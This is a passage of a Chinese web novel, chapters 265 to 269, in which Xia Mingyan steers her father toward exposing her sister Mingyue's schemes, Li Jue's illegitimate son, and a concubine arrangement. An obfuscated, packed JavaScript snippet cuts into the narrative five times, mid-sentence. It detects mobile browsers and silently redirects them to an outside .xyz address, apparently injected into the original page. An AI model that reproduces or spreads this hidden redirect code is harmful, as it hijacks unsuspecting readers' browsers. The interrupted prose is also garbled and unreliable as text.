而且卢阳二房那边他还有一个侄子,从小就颇有武学天赋,等将来栽培起来,是要到军中历练的。他的儿子和侄子将来守望相助,就可以改变他们夏氏一族寒门出身只能依靠岳家往上爬的局面了。 夏明月要是嫁给了华靖离,她自幼在元京长大,跟元京这些高门往来颇多,就算华靖离长年不在元京,她也能通过帮助华家应酬、打点家事快速地掌握华家的中馈。 毕竟华家那位董太夫人不善交际,华家又一直跟元京高门的圈子格格不入,那位老妾卜小娘身份上又差了些,可华家迟早都是要融入元京圈子里去的,夏明月嫁过去刚好能主导华家完成这一切,这么做也可以将华家握在手里。 虽说华家这一代的家主是华靖离,可他长年不在元京,侯府这边就落了空,而侯府才是跟圣上、宫里关系和距离都更近的地方,只要夏明月能掌握了钩翊侯府,纵使华靖离将来回来了,因为长年分离对她无甚感情,她也能凭着这层关系制衡华靖离。 只要夏明月把握得好,不仅对夏家有利,她自己在华家还有元京的高门贵妇里也定然有一袭之地。 而夏明嫣在元京毫无根基,又被教得规矩、木讷,夏家跟端侯府的关系因为那些旧事已经绑在一块儿了,这样的关系不需要再额外加固,嫁过去的人只要看住他们,把李玦和何夫人的一举一动都告诉他就好,等到需要她为家里做事的时候,那都是好多年之后端侯府好起来的时候了。 夏明嫣这样的性子和根基明显更适合端侯府,前头端侯府无甚动作的时候,也不需要她做什么,只需要占好那个位子就好,等到真需要她的时候,十几二十年过去了,她只要不笨、不傻,等到那时定然磨砺得能独当一面了 结果……夏庸在心里第无数次的叹息,夏明月原本虽然对李玦情意深厚,可她清楚从袭爵到起复掌握实权,到真正的身居高位,陪着李玦走过这十几二十年甚至更长的路,实在太过久远、艰难。 而她跟楚氏一样,是想要权利也想要享乐的性子,因此等到婚事真正要定下来的时候,她是同意嫁给华靖离的,对李玦那边她只是用了些招数装作因为父母之命而被迫分离罢了。 可就在定下婚书半个月之后,夏明月突然改了主意,宁愿**也非要嫁给李玦,就像着了魔一样。 而这一换嫁,他怎么也没有想到,迅速独当一面的会是夏明嫣,而看起来需要磨砺十几二十年才能派得上用场的会变成了夏明月! 夏庸越看夏明嫣越满意,脸上的笑意也多了:“这就对了,总要先有了子嗣,不管是谁生的,都要叫你一声母亲。” “不怪我多看重你一些,月儿这方面就不如你大度,好在你们都才成亲不久,以后你可得做个好榜样,让她跟你学,别净学外面小家子气的那些人,平白让人捡了便宜、看了笑话。” “你也别觉着华家有老儿子守业的规矩,将来就一定要靠着他们那二公子的子嗣了,说到底他就是个庶子,又是个行事不羁的,这次的事儿闹了这个大个笑话,纵使还能出来,他的名声也毁了。” “将来他谈门好婚事都难,他的子嗣也指望不上。况且让老儿子守业,那是在前头的儿子没有子嗣或是子嗣病弱的前提下,你跟华侯要是能几个康健的孩儿,还怕这规矩不成?” “就算到时候华家有人提这规矩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576208|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们夏家也不是吃素的,定然要为你们撑腰,绝不会让他的孩子越过你们的去。” 夏庸想的就是要把华家握在他的手里,华靖离的确厉害,可那一大家子却不行,一个人托起一大家子人实在太难了,反倒是夏家在元京根基更深,到时候再往礼部跑一跑,这事儿便能定下来。 夏明嫣坐在那里低着头羞赧地笑着,借此掩盖着她的尴尬。 夏庸这个人,自己靠着女人的裙带往上爬,现在又想借着女儿的裙带稳固地位,这辈子他自己付出的倒是最少的,难怪夏明月也被他养成了只吃不做的坏毛病。 不过,既然夏庸主动提到了要让夏明月跟她学,倒也不错,她正愁怎么跟他说那孩子的事儿呢。 夏明嫣故意装出欲言又止、吞吞吐吐的样子,语气里带着浓浓的试探:“父亲,近日可见到二妹妹了?我有些日子没见她了,也不知道她府上怎样了?” 夏庸一皱眉,他再疼爱夏明月,也忍不住要多说几句:“还能怎样?她府上住着两个李家的亲戚,还有家眷,弄得她不堪其扰,跟她婆母也处不到一块儿去。” “也是怪了,出嫁前她性子讨喜,往日跟家里有来往的那些人就没有不夸她的,这一出嫁倒是转了性子了,心里窄了,看什么都窄,每天功夫都放在跟那些无知妇孺缠斗上了。” “现在华侯好了,想必府里也用不上你了,你要是有空就去端侯府坐坐,要么你劝劝那两家的亲戚,要么你就干脆想想法子让他们主动搬出去住。” “你是长姐,又嫁得这般好,你需得知道若非你妹妹主动换嫁,你今天的一切原就该是她的。如今你只要帮她料理些收尾,就当作是不常她,你可千万不能推辞。” 的确是夏明月主动换的亲,可是为了达到这一目的,夏明月和楚氏不惜炮制她身世的谣言,还意图害死沈小娘,这算哪门子的让? 第265章谁都惹不起 夏庸却不这么想,假设当日没有换亲,还是夏明月嫁给李玦的话,夏庸一样会说是夏明月将自己心仪之人让给了她,才让她有了一位更加俊朗潇洒的夫君。 总之不管从哪头算,不管怎么算,在夏家,一直都是夏明月做什么,什么才是对的。 夏明嫣面上都应了,还一副与有荣焉的样子,不过很快她就故意变了脸色,像是想起了什么,犯了难了: “父亲说的那两位亲长是他们府上的李姑母、何姨母,这两位长辈其实也是刀子嘴、豆腐心的。您恐怕还不知道,当日我去端侯府送赏花宴的帖子时便见过她们。” “当时我见二妹妹对着她们时脸色不大好看,还以为这二位长辈提了什么过分的要求呢。没想到人家只是让各家的男丁在侯府里当个管事儿的而已,还说就是去管铺子、庄子都成。” “对各自家里的女儿,也不过是想依托着侯府的门第找个读书人、有功名的。这要求也不算过分,端侯府庶务凋敝,剩下的几间铺子本就经营得不好,由着他们试试,说准反而是条出路。” “那两家的女儿自是比不得二妹妹的,可人家也没要求非得嫁到公侯之家或是嫁进高门去。我瞧着好便多说了几句,谁知二妹妹竟然恼了,说人家两姐妹胳膊肘往外拐。” “那两姐妹都是妹夫的表妹,又都住在他们府里,这抬头不见低头见的,也不知道之后的日子要如何调停。要我说,就该跟这两姐妹处好些,至少遇到事儿了,大家都是女子,也好相互帮衬……” 之前赏花宴的事夏庸听了一耳朵也就完了,这时一听,才知道具体是怎么回事,他顿时大感夏明月不懂事。 他颔首道:“明月这性子也不知道像谁,怎能如此急躁。她是金玉,这些个人就是粗瓷,不喜欢,放在一边晾着就是,何必公然闹翻?真是岂有此理。” “晚些时候我派人去叫她回来,定要好生与她说道说道。你……你方才说让她们相互帮衬,是不是发生什么事了?” 夏庸这才想起来夏明嫣今日回来的蹊跷,想来是有别的事儿的,难不成这事儿跟夏明月有关? 夏明嫣面露难色,吱吱唔唔地看了夏庸好几眼才道:“父亲,有件事我实在不知该如何开口……我要是说了,就怕父亲会说我诋毁亲妹,不说这事儿又不知该如何收场。” “想来想去还是要说的,因为这件事现在已经由不得我一人做主了,父亲您迟早也会知道,倒不如现在说了,也好让您有个准备……” “有话就说,别吞吞吐吐的。”夏庸正襟危坐,认真地听着夏明嫣接下来的话。 夏明嫣先是重重地叹了口气,然后运了运气才道:“华家二弟那事儿是二妹妹和楚家舅父捅出去的,都是为了御青书院的擢选,是他们想拿华家二弟当绊脚石,才……” “这不是什么误会,华家都查实了,就等着到公堂上分辨一二了。我到底人微言轻,也不可不顾事实,这事儿竟是拦不住了。” 夏庸先是皱眉,之后便又以惯有的偏袒和想要省事儿的态度道:“华家如何断定是他们所为?拿到实证了?就算是,这也不是什么大事儿。” “天下学子,想入御青书院的犹如过江之卿,到了终选更是手段百出。你在卢阳没有见过那盛况,不是今年如此,是年年都如此。” “华二公子既然选择了参与进来,就应当做好了承受诽谤和构陷的准备,就是没有他们,也一样会有别人对他做些什么。” “况且整件事究竟是全是假的,都是他们诬陷得来的,还是说事情是真的,他们只是把事情捅了出来,刚好赶上擢选和城里热闹的时候?” 这种事儿别人动手做些什么,实属正常,可自己人动手,要被揭穿,可就丢脸丢到家了。 夏庸也想明白了这一点,当下追究真相如何已经没那么重要了,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580821|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是华家小肚鸡肠非揪住这件事不放,只要这件事闹出去了,第二天就得有一堆人上折子为华家叫屈, “你先回答我这事儿到底是真的还是假的?若是假的,他们的确有错,可咱们三家既然已是姻亲,他们就该多包容一些,有什么话私下里说明白了就好,他们该不会打算闹到公堂上去吧?” “若是真的,他们把这事儿捅出去想必也是因为疏忽,华家更应该原谅才是,怎么还不许你说话了?你性子还是太软,这种时候就该护着自家,跟他们据理力争才是。” 明明是夏明月做错事,可夏庸反而怪夏明嫣不在婆家面前为她遮掩,甚至还想要要求华家因为这层关系放过这些个兴风作浪的人。 好在夏明嫣已经习惯了夏庸的偏心,而且她是来给夏明月设套挖坑来的,不是来享受父女天伦之乐的来的。 此刻她面对这样的夏庸,别人看了只会觉得他们父女之间相处得不错,有商有量、不急不闹的: “父亲说的是,可这件事之所以没有转圜的余地,就是因为从一开始华家就掌握了二妹妹和楚家那边的舅父的证据,这事儿实在没法子分辩。” “华二弟当真是被冤枉的,他跟那吕大姑娘从前不过见过两面,话都没说过几句,又哪里来的私情?这便罢了,还要栽赃说那孩子是他的,这一下子家里可就急了。” “父亲想必也听说过,这位华二弟是我公公的妾室生的,这妾室可不是一般的妾室,是宫里出来的贵妾,还是先太后在世时赏下来的。这位小娘一听可不得了,托了人为华二弟查证。” “毕竟是家里的老儿子,我公爹也是托了人的,谁知这一查之下还了得……父亲我都不知道该怎么说了,就怕这事儿捅出去,二妹妹会接受不了,闹出更大的事儿来。” 夏明嫣欲言又止,像是极其为难的样子,本来说的是华靖和的事儿,怎么就轮到夏明月为难了? 第266章有人认孙子了 夏庸抬起头来看向夏明嫣,语气便有些冷了下来:“你今天回来,是有话要说,那又何必藏着掖着呢?” 夏明嫣为难得像一只小鹌鹑,放佛不得不说似的:“要不是这件事非说不可,我是真的不想回来麻烦父亲、母亲。实在是……华家二弟之所以是清白的,这当中有一个缘由就是……” 她连着叹了两口气才道,“那吕家的孩子的亲生父亲并非华家二弟,而是另有其人,这个人就是……妹夫。” “是谁?”夏庸以为自己没听清楚。 夏明嫣看了看他,艰难地道:“不是别人,就是二妹妹的夫君李世子啊,这件事不会错。正因为如此,华家二弟才没有害死吕大姑娘的动机,也断断不会拐了或害了那孩子去。” 夏庸先是被气笑了,之后定了定神,才又问出几句话:“这件事确实么?是否是亲子,可没有十拿九稳的法子。” 滴血验亲前些年就已经破除了,单凭长相,这事儿不好说的紧。 就算某个男子长得很像,也难保这孩子的亲生父亲不是这男子亲族中的男子,再或是全然陌生的两个人,也有长得像的。尤其是孩子还小,就更不得数了。 夏明嫣想着邓澜透露的更多细节,就差边抹眼泪边说的:“自然是确实的,先是拿到了当初吕大姑娘生产的脉案,算了日子,那时候华家二弟去了外头的书院念书,根本就不在元京。” “再者,那孩子身上有些特征,好像是胎记什么的能跟妹夫对的上,长相也是相似的……这还不够,关键是,有人已经认了那孩子。” 李玦只是没中进士,但也是有举人功名的,现在科考,进入考试院之前,不仅要搜身,还要在屋子里除衣搜身。 李玦身上有什么特征,有门路的只要去查,定然能够知晓。虽说胎记的事儿是邓澜告诉夏明嫣的,可要说华家托了人去查,也能查出来。 这些倒也罢了,难道端侯府有人认了这孩子? 夏庸先想到的是不是李姑母或者何姨母认下了那孩子,这两人跟夏明月不对付,乐得看夏明月的笑话。 尤其是李姑母,这人是老端侯最小的妹妹,她还没长大的时候,他们的父亲就过世了,她是老端侯又当爹又当娘的养大的,因此她特别维护老端侯这个长兄。 要是李姑母知道老端侯还有一个孙儿流落在外,尤其现在李玦还没有孩子,以她的性子,她才不管那是个什么样的女子生下的呢,一准儿会认回来。 夏庸到底是男子,虽然他心疼自己的女儿夏明月,可是在女人和子嗣上,他本质上跟李玦没有多大不同,都是多多益善的。 夏庸的妾室之所以不多,是因为他早年跟杨氏一起的时候,还在为了官位而努力,没有多余的心思放在女人上,而后来娶了楚氏,顾忌着岳父楚霆孝这座大靠山,到底不敢太放肆。 像李玦那般的玉面郎君,其实夏明月嫁过去之前他就想到了,这女婿将来八成不可能只守着夏明月和三两个姬妾。 因此夏庸很快就镇定下来,他关心的是这端侯府究竟哪个不要命地敢不顾及楚、夏两家的面子认下那么个孩子。 夏庸沉声问道:“是谁?哪个不长眼地敢干出这种事,是真不把我们夏家放在眼里啊。那孩子……听说是男孩儿?这认了可是长子,那是随便能认的吗?” 正经人家就是贵妾、良妾的庶长子也不是随随便便就能生的,除非正妻进门多年都没能生出儿子。 更何况这吕大姑娘当时就是楼子里的舞姬,甚至当时尚未赎身,这种女人连外室都不是,凭什么这么的就把孩子认回来了。 夏明嫣顶着夏庸的怒火,咬了咬牙,像是下了极大地决心之后才能把真相说出口: “是……是何夫人,就是二妹妹的婆母,这孩子的亲祖母,这才是最为难的地方。何夫人虽然还没有明说,可是已经有人瞧见了她将那孩子藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580822|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了城外。” “关键是吕大姑娘前脚走了,那孩子后脚就从代为照顾的亲戚家不见了,结果这孩子被何夫人藏匿了。您说,要不是她一早就关注着吕大姑娘母子的情况,又怎能悄无声息地带走孩子?” “怕就怕这吕大姑娘的死,跟何夫人有关……我也是担心二妹妹,万一她的婆母真是那等心狠手辣的人,二妹妹要是跟她对上了,可该怎么办?” 夏明月知道这件事之后定然不会答应,甚至一定会大闹起来把整个端侯府都搅个翻天覆地不可,到时候全元京的人都得知道,根本瞒不住。 而且既然何夫人都认了这孩子了,这孩子就是真的了,到时候夏明月再反对,那就是不孝。 一个孝字大过天,而且女子善妒是犯了七出之条的,不管夏明月出什么多高贵,她就是公主,她都不能不孝、公然违逆婆母。 以夏明月的性子,她之前一颗心都扑在李玦身上了,最后却发现是一场空,还多了这么个碍眼的孩子出来,她决不可能善罢甘休。 只怕那时就连夏庸和楚氏都要担下教女不严的罪名,往轻了说,他们会被申饬,很是没有脸面。 往重了说,夏庸这兵部尚书能不能坐得下去都不好说了! 夏庸冷汗都下来了,当今圣上是最会玩儿这套的,看看端侯府这么多年没被夺爵,却不让李玦袭爵,就这么吊着,就知道他对夏家也能做出类似的事。 尤其是夏庸这个兵部尚书是靠着楚霆孝的支持和他本身能够平衡各种势力才当上的,圣上大可以暗示楚霆孝去扶持别的门生,放弃他这个女婿。 而他能平衡各方势力的本事其中有一个重要的组成部分,就是脸面,要是他没了脸面,谁还肯卖他面子愿意跟他“平衡”? “这件事明月还不知道吧?华家能不能不把这件事捅到元京府衙去?你是华家长媳,堂堂正正的钩翊侯夫人,这件事当真做不了主?” 第267章牺牲自家儿子救外人? 这怎么可能呢?华家有什么理由让着夏家? 论实力,华家比夏家强,还有爵位和战功在身。论身份,华靖离是夏庸的女婿不假,可华靖离这人既有实力,性子还硬气,他是断然不会因为一层翁婿关系,就屈从于夏庸的决定的。 夏明嫣极力压抑住那种看傻子时才会有的目光,用一副她也很苦、她也没办法的样子看着他: “我才进门多久,府中中馈都还没有完全接手,这种大事儿哪里轮得到我说。更何况这华家二弟不是夫君的嫡亲弟弟,是庶出,他的生母还是那位宫人出身的卜小娘,我是断断不可能插得进手的。” “这事儿我要是说了话,就是在欺负庶弟,就是夫君他不友爱兄弟。他的伤才刚好,前日才进宫复命,华家正在多事之秋,他是不会为了我就担上一个这样的罪名的。” “何况华家已经查到了这儿原就是二妹妹为了让妹夫在擢选中脱颖而出才弄出来的,华家人都在气头上。这事儿要帮二弟洗脱罪名,又不得不说到这孩子真正的出身上……我实在不知道该怎么劝服他们。” 原本为了擢选编造些谣言,或是把一些事儿拎出来只共朝野上下议论议论也就罢了,偏偏夏明月非得让华靖和在公堂和大狱里走一遭。 要不怎么说楚氏比夏明月聪明呢?楚氏当初想诋毁夏明嫣的出身,她压根儿就没想把这事儿在公堂上和族里确认下来,她就只炮制谣言。 就是要了沈小娘的命去,那也是家里自己的事儿,从来能没有闹到公堂上去过。这样就算哪天被别人揭穿了真相,她们也可以装作之前浑然不知也都是被欺骗的。 夏明月却不聪明,她自以为什么事儿都是确实了的才有把握,根本就不会想很多时候那模糊不清的才是致命的。 夏庸刚才也是昏了头,才会问出那样的话,华家再怎么样也不可能做出损害自家子孙利益,反过来安慰夏家的事。 夏庸一拍额头:“是为父糊涂了,这时候华家应该正是又气又记的时候,定然听不进去这些,更加不会把自己的小儿子搭进去。” “好在这件事还在元京府,这吕家也不过是一介商贾,连皇商都不是,元京府审理这样的案子完全没有必要公开。等到过堂的时候,就相当于只有咱们两家人在场,想来能把伤害降到最低。” “当务之急,还是要劝说你妹妹顾全大局,先把这件事揭过去。还有,要向华家道歉,她为了你妹夫筹谋,也是为夫心切,只是没关注手下的人过分了些。” “只要华家不计较此事,那便只剩下吕家的事了,这吕家大姑娘的案子是命案。若是照你说的这般,这案子定然与这老亲家有关,也要私下先说道说道为好。” 这时候夏庸还在为夏明月说话,什么都说是底下的人办事不利,他还恨不得把这宗命案也埋了,只当作两家的家事处理。 这是何等的狂妄! 夏明嫣当下既不揭穿,也不发怒,只装作以为这样事情就能解决了:“父亲说得是,这事儿原本也怪不得妹夫,那吕大姑娘从前那般身份,谁能想到……” “可是二妹妹那儿怎么办?我可没有把握劝好她,您也知道,我们自幼便不在一处长大,想让劝服她,实在太难了。一旦让她知道了真相,我就怕她连着华家一起牵累了。” “其实,这件事因她而起,华家不怪她就不错了,是万万不会为了她去冤枉自家的另一个儿子的。这些无能为力和不得已,到了她眼里,怕又是另一回事了! 在夏明月心里,她自己就没错过,错都是别人的,这件事之所以会被挑出来,就是因为华家不念姻亲之谊,不肯牺牲一个庶子的一生来救她。 要说这逻辑像透了楚霆孝,就连夏庸这些受了自己岳父的影响,因此他并不觉得夏明月错得有多严重。 好在,他还是很清楚这事儿闹出来会有多大影响的,尤其是会影响到他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587845|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己,万一圣上执意要把他这个兵部尚书换了的话,就是楚霆孝也没有办法。 按理说兵部尚书这位子上坐着的即便是文官,每隔五年,也该去军中走一趟才是,可夏庸已经有十几年没有离开元京了,上一回去军中还是楚氏怀着夏明月和夏登云的时候。 就算圣上没有免了他的尚书之位,让他戴罪去军中监军,北疆,他不打算去,那边他已经安排了人去抢功了,他要是再去了,怕是太过明显。 南疆么,眼看着就要不太平了,那个常王不是个老实的,万一哪天动起手来,他随时都可能变成人质。 那边儿也不止有一个常王,还有几个王和几个军侯府,可这些个人谁没有因为他这些年推行的将夫君收归朝廷一策而造就对他新生不满? 他要是去了南疆,万一发生点什么,别说尚书之位了,就是性命都恐怕要没了。夏登云还没能独当一面,他要是就这么走了,夏家可就真的完了。 夏庸冒不起这个险,他必须妥善地解决此事,不过都这个时候了,他还是没有放弃训斥夏明嫣几句: “你是她的长姐,与她血脉相连、打断骨头连着筋,不过是分开了些年月,你就不知道该如何劝她了?还是你们姐妹之间疏远了啊,你现在是侯夫人不假,可你也不能因此看不起明月这个世子夫人。” “你现在多劝着她些,等到她再大些,性子磨练得成熟了,你妹夫也袭了爵了,她定是能够反过来帮你的,你可千万不要畏惧眼前的辛苦,就什么都不做了。” “我看华侯的伤虽然好了,可那么重的伤,即便是神医在世,也不能保证不留下一点症候。尤其是他还昏迷了那么久,不是我见不得你们好,他这将来的寿数恐怕还难说。” “万一他有个三长两短的,你以为你一个人就能在钩翊侯里当太夫人了?到时候你还不是得靠着家里和你这个妹妹。这件事,你也得多劝着些,不能甩手不管。” 第268章煽风点火 说到底,还是要让夏明嫣从中调停,这件事华家即使不能善罢甘休,至少也不能把事儿捅得到处都是。 要是这件事人尽皆知了,端侯府没脸不说,夏庸还真不敢想夏明月会不会做出什么,连累了夏家,尤其是连累了她。 夏明嫣可不像上辈子那么傻乎乎地跟夏庸分析这么做的难度了,其实真要是说那些话才是认真思考过解决之策的,她根本就没想帮他们解决,自然是想也不用想,说也不用说的了。 夏明嫣只为难了一下,便立刻道:“父亲放心,我一定尽力周旋,我才刚进门,我婆母就要给侯爷纳妾,我说都没说一声,这件事上怎么也得给我些颜面吧。” “而且这妾室多少与端侯府还有些关系,算起来也是亲戚呢,这怎么说,也是他们对不住我,在这事儿上就应该给咱们夏家些颜面。” 邓澜的事儿要先在夏庸这儿过了明路才好说,跟夏庸说,当然不能说邓澜家里掌握着那批本该在海难中沉海的宝物的下落了,正巧李玦要认一个儿子回来,把这件事当作同样的风月之事处理最为合适。 有了夏家帮腔,一切都是为了解决李玦这件事去的,才能逼得何夫人不得不放人。 因为何夫人根本不敢也不能明言邓澜父女的价值,在明面上,他们两个都只是端侯府一门已经落魄了的亲戚罢了,只要夏家肯掺合进来促成此事,何夫人总不能为了两个再普通不过的亲戚就坏了跟夏明月的这份亲吧? 其实夏明嫣觉得,就只说姻缘这一方面,夏明月当真算是有福的,李玦要是没这档子事,把她娶到手了之后,没了从前的新鲜劲儿,再加上夏家的帮助没有他想像中的立竿见影,他用不了多久一样会像对其他女人一样腻烦了她的。 可这次弄出个连外室子都不算的孩子来,要是夏明月聪明一些,大大方方地把这孩子认回去,哪怕等风头过了,再把孩子打发到哪个庄子上去,或是送去哪个书院待着,等到成人了给上几百两银子赶出去,李玦都得感激她,反而将来没那么容易弃她于不顾了。 夏庸听了,别的都没觉得有什么,现在的人家子女多,李家和他们有关的几家姻亲这一代的子嗣单薄,可上一代却并不是这样的,这么算下来亲戚没有几百,也有几十。 有那落魄的,到了这一代恐怕也就跟外面寻常的良户差不多了,这样的亲戚说不准何夫人和李玦不看族谱和亲事录都不记得是谁了,钩翊侯府要抬一个这样的姑娘进门,也不足为奇。 民间常说良家女不做妾,可这也要看是给谁家做妾,这些个王府、公侯府的妾室很多都是有身份的,他们进府也都代表着各家的利益。 要是别的时候,夏庸根本不会多问,可他今天有事要夏明嫣做,观察她的神情反应就特别的仔细,她刚刚说那女子时明显有些不对。 他便问道:“各家各府的亲戚甚多,好些平日里也没见走动,你总不会觉得这女子是端侯府弄去离间你们夫妻的吧?你要是这样想,未免小气了些。” “我刚还觉得你比明月贤德大度,难不成你也是那般嫉妒成性之人?这可要不得,有些话为父现在还不能对你说,总之你得记着,端侯府落魄只是眼前的事,将来他们一定会好起来。” “到时候你和华家说不定还要倚仗人家呢,既然华侯跟世子女婿原就是结义兄弟,你更不该让两家的关系疏远了。不过是纳妾,这华家历代为了让郎君早日留下子嗣,妾室向来就多,你妾不可嫉妒了。” “再要不,你就得说出个道理来,难不成是女子或是她家里有什么不妥之处?” 夏明嫣先是叹气,然后吱吱唔唔地道:“父亲,您是真的不知道吗?就是我和二妹妹出嫁之前……其实何夫人那时觉得我是个从卢阳来的野丫头,不比二妹妹金贵。” “她又觉得明明与世子妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587846|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫两相情好的是二妹妹,家里却只把我嫁过去,他们心生不满,原是打算悔婚再纳我为妾羞辱夏家的,所以在换亲之前,另外给世子妹夫定下了一门亲……就是这姑娘。” “什么?还有这样的事?”夏庸一惊,双目圆睁,里面瞬间燃起了怒火。 夏明嫣那时只是不受他和楚氏待见,可毕竟是夏家的女儿,端侯府竟然想贬妻为妾,还不跟他们商量一声,着实可恨! 而且要说夏家没把夏明月嫁过去,他们要是想悔婚也还说得通,可做出这样的事来羞辱夏家,那就太过分了。 夏庸一下子气不打一处来,好多年都没人这样羞辱过他了,可是现在木已成舟,李玦已经做了他的女婿了。 更何况夏家和端侯府因为那件旧事早就牵扯到了一起,无论如何都不会因为这么一件是就反目成仇,这个女婿和这门亲事他只能认下了,否则他真是不想管了。 夏庸忍着怒气问道:“这件事你们是如何得知的?是你知道了,还是你婆母和侯爷都知道了?” 夏明嫣煞有介事地抹了几滴眼泪,委屈地道:“自然是都知道了,想不知道都难。那姑娘的父亲是个醉汉,惯爱吃酒的,一吃醉了就到处乱说话。” “我婆母的旧友前些日子在一城居摆了几桌,我婆母赴宴,出来时就碰上了那人,一问之下才知道那是她看上的那姑娘的父亲,就让下人上前多问了几句。” “谁知道那人就说了,说他的女儿与我这个正经儿媳原是一样的人,甚至她女儿还比我强,要是之前嫁到了端侯府去,他女儿是做妻的,我是做妾的。现在他把他女儿给了华家做妾,他还亏了呢。” “我婆母让他不要胡说八道,谁知他说他们两家当初连婚书都定下了,后来婚约没了,那婚书竟然忘了收回去了,现在还在他们家……” “还有婚书?”夏庸大惊,脸色更不好看了。 第269章气死他了 外头有一个孩子,还跟另一个女子有婚书? 夏明嫣已经嫁给了华靖离,这件事对她其实影响不大,可是夏明月嫁的可是李玦,甚至因为换亲的缘故,两家虽有婚约在前,可是夏明月与李玦的婚书却是在这女子与李玦的之后的。 更荒唐的是,这门亲事没成,何夫人和李玦竟然没有把那婚书收回去,至今还在人家手里! 这要是这女子跳出来,说要嫁给李玦,只要风头闹得够大,虽说大恒没有平妻,可她要做个贵妾却没有一点问题,而且因为前头有着这段缘故,进了门之后夏明月是得礼待她的。 夏明月就像一个炮仗,一点就着,那孩子还好说,名不正言不顺,又只是个孩子,好摆弄,轻易翻不出手掌心,可这个女子却不一样了。 夏明月哪里能控制得住那女子?还不得被人家惹得天天生事儿,到时候夏明月完了,夏家的名声也彻底完了。 虽说直到现在夏庸都只是在为夏明月和他自己着想,可他的担忧绝对是有道理的,要是这样,就是夏明嫣也得受影响,更何况还有一个夏登云。 夏登云跟夏明月不仅是亲姐弟,他们还是龙凤胎,有这么一个姐姐在,他将来的前途和亲事都会受影响。 这女子要未露行迹,还能私下让人解决掉,可是华家已经要纳这女子为妾了,还是董氏亲自过问的,这就不好办了。 夏庸的声音都有些颤抖了:“这女子可还会给侯爷为妾?你婆母打算如何处置?那婚书可能拿回来?” 夏明嫣很是憋屈地道:“父亲,我婆母这个人原就是个没什么大主意的,她所求不过是子孙繁茂、平安。那女子从前之所以能被何夫人定给世子妹夫为妻,品貌、心性自是不错的,要不然之后也不能再被我婆母看上了。” “我婆母自然还是想为侯爷纳了她的,可是……也不瞒父亲,我刚进门时婆母的确对我多有挑剔,可自从侯爷康健了之后,她对我就与从前不同了。知道了这件事,她头一个就来问我的意思。” “她初时是不想纳了这女子的,可是后来她又说,既然出了这样的事了,不如还是纳了她,这样也省得他们家到处去说这样事,反而坏了我的名声,还影响了夏家。” “还说这女子与我有缘,要是我嫁去了端侯府,一样也是要与她做姐妹的。现在到了他们华家再做姐妹,也算全了这段缘分。不过她是站在我这一边的,一定让我压服得了她,也算是报了她险些夺了正妻之位的仇。” 她露出些许愤恨的表情,气冲冲地看着夏庸道,“我想了想,觉得婆母说的也有道理,与其他们父女到处乱说,让别人知道我差点儿就做了妾了,倒不如让她来华家做妾,也算是报仇了。” “只是……这姑娘的母亲虽已亡故,可到底跟何夫人是亲姐妹,不然之前也不会定给了世子妹夫,就是现在这姑娘有时还会陪伴何夫人左右呢。我是担心何夫人不会答应……” 夏明嫣这些话说得颇有技巧和手段,她半句不提要是这些话传出去对夏明月的影响也很大,她只说对她自己不好,还有她差点儿受了贬妻为妾的羞辱,她很气愤。 因为这件事儿对夏明月有什么影响,自然有夏庸和楚氏去想,用不着她多说,她只需要让夏庸帮她把邓澜推进华家的门就可以了。 